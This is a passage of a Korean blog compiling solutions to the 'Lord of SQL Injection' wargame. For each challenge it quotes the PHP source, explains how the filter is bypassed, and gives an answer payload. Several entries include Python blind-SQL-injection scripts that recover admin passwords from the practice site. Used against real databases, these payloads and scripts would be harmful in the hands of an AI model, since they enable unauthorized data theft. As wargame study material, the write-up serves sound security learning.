728x90
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

MySQL 문법에서 where 절에 행이 2개 이상 반환되면 다음과 같은 에러가 출력된다.

ERROR 1242 (21000): Subquery returns more than 1 row

이를 이용하여 쿼리문이 거짓일 경우엔 union select를 이용하여 2개 이상의 행을 반환하도록 하였다.

따라서 'Subquery'라는 단어가 웹페이지에 출력되지 않으면 쿼리문은 참임을 이용하였다. 

코드는 다음과 같다. hex 함수를 사용하였는데 pw가 문자가 32개라서 찾는 시간이 오래 걸려서 연결이 끊기는 경우가 많다.

16진수를 반환하도록 하여 HEX라는 변수의 16진수 한자리 값들만 비교함으로써 탐색 시간을 단축시켰다.

참고로 아스키 코드에 해당하는 문자는 sql의 length 함수 결괏값은 1이다.

MySQL에서 hex 함수를 적용하면 16진수로 나타내어지는데 흔히 사용되는 문자, 숫자들은 16진수로 표현하면 두 자리가 된다.

ex) hex('a')=61, length(hex('a'))=2

따라서 length 함수 결과값은 2이다. 즉, 이것이 hex 함수를 사용하면 사용하기 전보다 length 반환값이 2배가 되는 이유다.

import requests

url='https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#64
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and if(length(hex(pw))={},1,(select 1 union select 2))%23".format(pw_len),cookies=cookie)
        if 'Subquery' not in r.text:
            return pw_len
        else:
            pw_len+=1
            
#06b5a6c16e8830475f983cc3a825ee9a
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and if(substr(hex(pw),{},1)='{}',1,(select 1 union select 2))%23".format(i,j),cookies=cookie)
            if 'Subquery' not in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
find_pw()

답: ?pw=06b5a6c16e8830475f983cc3a825ee9a

728x90

'Lord of SQL Injection' 카테고리의 다른 글

hell_fire  (2) 2023.01.01
dark_eyes  (0) 2023.01.01
dragon  (0) 2023.01.01
xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

guest뒤에 #으로 주석처리가 된다. mysql에서 #은 한줄 주석 처리다.

pw에 %0a(개행) 문자를 삽입하여 다음 줄로 줄바꿈으로써 주석을 우회한다.

그리고 앞에 id='guest'가 살아있으므로 and pw='' 를 이용하여 guest 조건을 거짓으로 만든다.

답: ?pw=?%0a and pw='' or id='admin

728x90

'Lord of SQL Injection' 카테고리의 다른 글

dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

아스키코드에 매칭시키면 답이 안 나온다.  128 이상의 값을 가진다는 것이다. 

pw를 16진수로 바꿔서 pw를 구했다. utf-8방식으로 인코딩한 유니코드가 나오는 것을 확인했다.(0x0000C6B00000C6550000AD73)

참고로 한글의 유니코드 범위는 다음과 같다.
('가' = 0xAC00(16진수) = 44032(10진수)  ~ '힣'=0xD7A3 = 55203)

앞에 8자리씩 잘라서 python의 chr 함수에 대입해 변환했다. 
chr(0x0000c6b0) = '우'

코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#24
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len       
        else:
            pw_len+=1
#0000C6B00000C6550000AD73(=우왕굳)
def find_pw():
    pw_len=find_pw_len()
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                print(j,end="")
                break

find_pw()

답: ?pw=우왕굳

728x90

'Lord of SQL Injection' 카테고리의 다른 글

iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

답: ?pw=')=0;%00

query : select id from prob_nightmare where pw=('')=0;') and id!='admin'

이런 쿼리가 완성이 되는데 해석하자면 pw=('')=0까지 실행된다. ;%00은 쿼리의 끝을 의미한다고 보면 된다. 주석을 대신하는 용도로 많이 사용된다. 따라서 남은 뒷부분은 무시된다. 참고로 %00은 php의 strlen 함수에서 길이 1로 취급한다.

pw=('')=0 은 앞에서부터 순차적으로 비교한다. pw=('')을 비교하는데 괄호는 무시해도 된다. 구분자의 역할이기 때문이다. 결국 빈 문자열과 pw를 비교하는 것이다. pw가 빈 문자열인 경우는 없을 것이라 pw=('')은 0을 반환하고 다시 뒤에 0과 =연산 끝에 1이 반환된다. 즉 모든 행에 대하여 참이 되는 것이다. 따라서 어떤 id 하나는 최종적으로 얻게 된다.

이 문제 해설들에서 ('')이 0과 같아서 위의 쿼리가 실행되어 문제가 풀린다는 글이 보이는데 이건 잘못됐다. 문자열과 정수의 비교 연산에선 형변환이 진행되지만 테스트해보면 pw=('')=0에서 앞에서부터 진행된다. pw도 문자열, ('')도 문자열이기에 형변환 없이 문자열끼리의 비교연산이 된다. 그 결과 pw가 빈 문자열인 경우는 없다고 보고 연산결과 0이 반환될 것이고 마지막 =0 연산에서 최종적으로 1(참)이 반환될 것이다.

참고 자료)

1. mysql에서는 문자열과 정수를 비교할 때 문자열은 정수로 형변환이 일어난다.(단, 양쪽 다 '로 둘러싸인 문자열이라면 형태 상관없이 문자열로 취급)

문자열과 정수 비교에서 형변환을 설명하자면, 숫자가 아닌 것들로만 이루어진 문자열을 정수 0으로 취급한다. 또 '123abc' 처럼 숫자로 시작하여 숫자(들)+문자(들)로 구성된 문자열은 연속된 숫자에 해당하는 정수로 취급한다. 여기선 123이 되겠다. 그리고 'abc123'은 'abc123' 그 자체다. 알파벳으로 시작했기 때문이다.
ex) select 'abc' = 0 -> 1 반환
select '1'=1 -> 1 반환.(문자 '1'이 정수 1로 형변환)
select '1abc'=0 -> 0 반환.('1abc'는 1이다.)
select '123a23'=12323 -> 0 반환('123a23'은 숫자로 시작하지만 문자가 중간에 나타났다가 다시 숫자가 등장하므로 문자열 그 자체다. 따라서 '123a23'만 같다고 할 수 있다.)

자세한 건 링크를 참조하길 바란다.
왜 '1'=1 은 1을 반환하는가? :  https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true

 

mysql: why comparing a 'string' to 0 gives true?

I was doing some MySQL test queries, and realized that comparing a string column with 0 (as a number) gives TRUE! select 'string' = 0 as res; -- res = 1 (true), UNexpected! why!??!?! however, com...

stackoverflow.com

2. pw=('')=0 연산이 왜 앞에서부터 순차적으로 진행되는지 궁금하다면 index(정수)와 id(문자열)로 이루어진 테이블을 하나 만들어서 (0, a), (1, b), (2, c) 데이터를 삽입 후 select id from 테이블명 where index=2=2;를 실행해보면 아무 값도 나오지 않는다는 것을 알 수 있다. 만약 뒤에서부터 비교했다면 2=2 결과 1이 반환되고 index=1인 값이 조회되어야 하는데 index=1인 id는 출력되지 않는다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

dragon  (0) 2023.01.01
xavis  (2) 2023.01.01
zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

addslashes 함수는 ', ", \, NULL 문자를 escape 처리함.

즉, '\'를 앞에 붙여서 기존의 역할을 못하게 문자 그 자체로 만든다.

strrev 함수는 문자열의 순서를 거꾸로 만드는 함수.
ex)strrev('abc') -> cba

id에 %00(NULL 문자), pw에 %23 1 ro 대입하자.

php 코드를 해석하면 id는 addslashes 한 \0에 strrev에서 0\이 됨.

pw는 addslashes 해도 그대로인데 strrev 해서 or  1 #이 됨.

query : select id from prob_zombie_assassin where id='0\' and pw='or 1=1 #'

id는 초록색 문자열인 0' and pw= 이 된다. 두 번째 '가 이스케이프 처리 되기 때문이다.

or 뒤에 1은 DB의 모든 행에 대하여 참이 된다.

결과적으로 어떤 id 한 개가 조회됨.

답: ?id=%00&pw=%23 1 ro

728x90

'Lord of SQL Injection' 카테고리의 다른 글

xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
giant  (0) 2022.12.23
728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

id와 pw에 '를 쓸 수가 없다. 문제를 풀려면 백슬래시(\)를 사용해서 escape 처리를 해야 한다. 
참고로 한국의 돈 단위 ₩(원)도 백슬래시 역할이다.

sql에서 문자 앞에 백슬래시(\)를 붙이면 문자 그자체로 인식한다. '도 마찬가지다.
sql에서 '는 문자(열)을 표현하는 역할인데 \'은 ' 문자 그 자체로 인식한다.

이 문제에서 id엔 \을 대입하고 pw엔 or 1%23을 대입하자. 아래와 같은 쿼리가 완성된다.
query : select id from prob_succubus where id='\' and pw='or 1#'

id엔 파란색 문자열이 대입된다. 두번째 등장하는 ' 은 백슬래시(\)로 인해 문자로 인식된다. 

따라서 id의 값은 ' and pw= 가 된다. or 뒤에 1은 늘 참이다.

따라서 쿼리 실행 결과 모든 행들이 조건을 만족할 것이며 id가 반드시 존재하기에 문제가 풀린다.

#은 url에서 예약 문자이기 때문에 %23으로 URL 인코딩한 값을 전달해야 '#'으로 PHP에서 인식한다.

답: ?id=\&pw=or 1%23

728x90

'Lord of SQL Injection' 카테고리의 다른 글

nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
assassin  (0) 2022.12.23
giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");  // ' 사용 불가
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

like 연산자는 '%' 또는 '_'와 많이 쓰인다. '%'는 문자(열)를 의미. '_'는 문자 한 개 의미.

like 'a%' : a로 시작하는 문자열
like '_a': a로 끝나는 길이가 2인 문자열.

'%'를 이용하여 문제를 풀었다. ?pw=문자% 형태로 전달해보면 Hello admin은 나오지 않고 Hello guest만 나온다.

이는 admin과 guest의 비밀번호 첫 글자가 같으며 guest가 db 내에서 더 상단에 있다는 것을 의미한다.

두 번째 문자의 경우도 첫 번째 문자의 경우와 같았다.

두 번째 문자까진 Hello guest 출력 여부로 비밀번호를 알아낸다. 코드에서 admin 부분을 guest로 바꿔야한다.

그 결과 guest와 admin 모두 비밀번호 앞 두자리가 90임을 알 수 있다.

마침내 세 번째 문자에서 Hello admin이 나오는 것을 확인할 수 있었다.

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookie={'PHPSESSID':'자신의 세션 id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'

def find_pw():
    pw=''
    while True:
        found=False
        
        for i in ch:
            r=requests.get(url+"?pw=90{}%25".format(pw+i),cookies=cookie)
            if 'Hello admin' in r.text:
                pw+=i
                found=True
                break

        if found is False:
            print(pw)
            break
find_pw()

답: ?pw=902efd10 또는 ?pw=902%

728x90

'Lord of SQL Injection' 카테고리의 다른 글

zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); // shit의 값의 길이가 1보다 크면 안됨.즉 1이어야함.
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); // 스페이스, 개행(%0a), Carriage Return(%0d), Tab(%09) 안됨
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

from과 prob_giant 사이에 띄울 수 있는 길이가 1인 구분자가 필요하다. 

sql의 공백(띄어쓰기) 우회는 다음과 같은 방법이 있다.

1) 개행(\n): 열은 유지한 채 커서를 한 칸 밑으로 이동. %0a

2) Carriage Return(\r): 커서를 왼쪽 끝으로 이동. %0d

3) Tab(\t): 커서를 오른쪽으로 Tab 만큼 이동. 키보드의 Tab키. %09

4) 주석(/**/): SQL에서 여러 줄을 주석처리.

5) 괄호(()): 문자(열) 양 옆에 괄호를 삽입하여 띄어쓰기 대신 문자(열)를 구분.

6) +: MySQL에서 띄어쓰기 역할. ex) select+1,+2; = select 1,2; 와 동일한 결과.

7) vertical tab(\v): 아래로 6줄 이동. %0b

8) form feed(\f): 프린트 출력 시 다음 페이지의 시작 부분으로 이동. %0c

해당 문제는 %0b 또는 %0c를 사용하면 풀린다.

답: ?shit=%0b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

쿼리 실행결과가 참이면 Hello admin을 출력하는 것을 근거로 Blind SQL Injection을 수행한다.

or 연산자는 ||
공백은 ()
=은 in
'는 "
and는 %26%26

으로 우회한다.

import requests

url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+'?no=123||(id)in("admin")%26%26length(hex(pw))in({})'.format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#52dc3991
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+'?no=123||(id)in("admin")%26%26mid(hex(pw),{},1)in("{}")'.format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=52dc3991

참고) mysql의 hex 함수는 16진수를 반환하는데 0x를 붙이지 않은 형태로 반환한다.
ex) select hex('a')in(0x61) -> 0 반환, select hex('a')in(61) -> 1 반환
python에서 hex 함수는 0x를 붙인 형태로 반환한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

assassin  (0) 2022.12.23
giant  (0) 2022.12.23
darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");  // prob(대소문자 모두 필터링), _, ., () 필터링
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");  // pw 값에 ' 필터링
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");  // no 값에 ', substr, ascii 필터링
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

= 대신 like, ' 대신 ", substr 대신 mid 함수를 사용해서 우회했다.

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+'?no=123 or id like "admin" and length(hex(pw)) like {}'.format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#0b70ea1f
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+'?no=123 or id like "admin" and mid(hex(pw),{},1) like "{}"'.format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=0b70ea1f

728x90

'Lord of SQL Injection' 카테고리의 다른 글

giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

단계가 높아질 때마다 필터링되는 문자들이 늘어난다. 이번엔 substr( 와 = 이 추가되었다.

앞의 문제에서 언급했듯이 or, and는 각각 ||, &&로 대체가능한데 &는 URL의 예약된 문자이며 URL key를 구분하는 역할을 한다. 따라서 URL 인코딩한 값 %26을 넣어줘야 php에서 '&'문자로 해석한다.

substr함수는 mid, left, right라는 sql함수들로 대체가능하다. 특히 mid 함수는 substr 함수와 사용법이 같다.

= 연산자는 like,in 연산자와 instr함수로 대체가능하다.

실행한 쿼리가 참일때마다 Hello admin이 출력되도록 하여 이를 기반으로 Blind SQL Injection을 실행하였고 비밀번호 길이와 비밀번호를 알아내었다.

파이썬 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' || id like 'admin' %26%26 length(hex(pw)) like {}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#77d6290b
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' || id like 'admin' %26%26 mid(hex(pw),{},1) like '{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=77d6290b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

and와 or의 연산자 우선순위는 and가 더 높기 때문에 먼저 연산된다. 

id가 admin인 쿼리를 완성하는 입력값은 다음과 같다.

답: ?pw=' or id='admin' or '

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22
orge  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // ' 필터링
  $_GET[id] = strtolower($_GET[id]); // 알파벳은 모두 소문자로 변경
  $_GET[id] = str_replace("admin","",$_GET[id]); //admin 문자열을 빈 문자열로 치환
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

id에 admin이 들어가도록 쿼리를 완성해야한다. admin을 admin으로 감싼다. 그럼 안쪽의 admin은 빈 문자열로 치환되서 최종적으로 admin만 남게된다.

답: ?id=adadminmin

728x90

'Lord of SQL Injection' 카테고리의 다른 글

golem  (0) 2022.12.22
skeleton  (0) 2022.12.22
troll  (0) 2022.12.22
orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
728x90
<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // '(quote) 사용불가
  if(preg_match("/admin/", $_GET[id])) exit("HeHe"); //admin을 사용불가
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

mysql은 대소문자를 구분하지 않음. admin이랑 ADMIN이랑 같음.

답: ?id=ADMIN

728x90

'Lord of SQL Injection' 카테고리의 다른 글

skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); //or, and 필터링
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); //',",\,NUL 바이트는 escape 처리되어 문자 그자체로 인식. 즉, SQL Injection 어려움
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

앞서 풀었던 orc와 푸는 방식은 같다. 필터링 문자만 조금 다를 뿐이다.

참이면 Hello admin을 출력, 거짓이면 Hello admin을 출력하지 않는 쿼리문을 만든다.

이를 바탕으로 비밀번호 길이와 비밀번호를 알아낸다.

import requests

url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' || id='admin' %26%26 length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#7b751aec
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' || id='admin' %26%26 mid(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=7b751aec

728x90

'Lord of SQL Injection' 카테고리의 다른 글

vampire  (0) 2022.12.22
troll  (0) 2022.12.22
darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob, _,. () 사용 불가
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");  //or , and 사용 불가
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
